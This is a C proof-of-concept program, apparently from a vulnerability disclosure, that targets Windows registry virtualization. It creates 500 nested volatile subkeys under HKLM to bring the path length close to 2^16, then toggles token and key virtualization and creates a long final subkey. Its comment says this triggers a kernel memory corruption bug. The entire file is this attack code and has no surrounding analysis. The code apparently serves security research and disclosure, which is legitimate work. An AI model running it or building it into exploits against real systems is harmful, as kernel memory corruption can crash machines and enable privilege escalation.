#include #include #include #pragma comment(lib, "ntdll") typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION { ULONG VirtualTarget : 1; // Tells if the key is a virtual target key. ULONG VirtualStore : 1; // Tells if the key is a virtual store key. ULONG VirtualSource : 1; // Tells if the key has been virtualized at least one (virtual hint) ULONG Reserved : 29; } KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION; BOOL EnableKeyVirtualization(HKEY hkey, BOOL VirtualTarget, BOOL VirtualStore, BOOL VirtualSource) { KEY_SET_VIRTUALIZATION_INFORMATION VirtInfo; VirtInfo.VirtualTarget = VirtualTarget; VirtInfo.VirtualStore = VirtualStore; VirtInfo.VirtualSource = VirtualSource; NTSTATUS ntstatus = NtSetInformationKey(hkey, KeySetVirtualizationInformation, &VirtInfo, sizeof(VirtInfo)); return NT_SUCCESS(ntstatus); } BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) { DWORD dwVirtualizationEnabled = bEnabled; if (!SetTokenInformation(hToken, TokenVirtualizationEnabled, &dwVirtualizationEnabled, sizeof(dwVirtualizationEnabled))) { printf("SetTokenInformation failed with error %u\n", GetLastError()); return FALSE; } return TRUE; } int main(int argc, char** argv) { // // Open the current process token and disable virtualization for now. // HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { printf("OpenProcessToken failed with error %u\n", GetLastError()); return 1; } EnableTokenVirtualization(hToken, FALSE); // // Open an initial key. // HKEY hkey; LONG dwRes = RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\DRM\\AAAAAA", 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } printf("Root key successfully opened\n"); // // Initialize registry paths. // CONST SIZE_T kSpraySubKeyLength = 64; WCHAR wchSpraySubKeyName[kSpraySubKeyLength + 1]; for (SIZE_T i = 0; i < kSpraySubKeyLength; i++) { wchSpraySubKeyName[i] = L'A'; } wchSpraySubKeyName[kSpraySubKeyLength] = L'\0'; CONST SIZE_T kFinalSubKeyLength = 255; WCHAR wchFinalSubKeyName[kFinalSubKeyLength + 1]; for (SIZE_T i = 0; i < kFinalSubKeyLength; i++) { wchFinalSubKeyName[i] = L'A'; } wchFinalSubKeyName[kFinalSubKeyLength] = L'\0'; // // Create 500 nested subkeys to get the registry path length close to 2^16. // HKEY hsubkey; for (int i = 0; i < 500; i++) { dwRes = RegCreateKeyEx(hkey, wchSpraySubKeyName, 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hsubkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } RegCloseKey(hkey); hkey = hsubkey; } printf("Nested subkeys successfully created\n"); // // Enable virtualization and try to open the final key, triggering the path // translation code and the memory corruption bug. // EnableTokenVirtualization(hToken, TRUE); EnableKeyVirtualization(hkey, /*VirtualTarget=*/FALSE, /*VirtualStore=*/TRUE, /*VirtualSource=*/FALSE); dwRes = RegCreateKeyEx(hkey, wchFinalSubKeyName, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hsubkey, NULL); if (dwRes != ERROR_SUCCESS) { printf("RegCreateKeyEx failed with error %d\n", dwRes); return 1; } return 0; }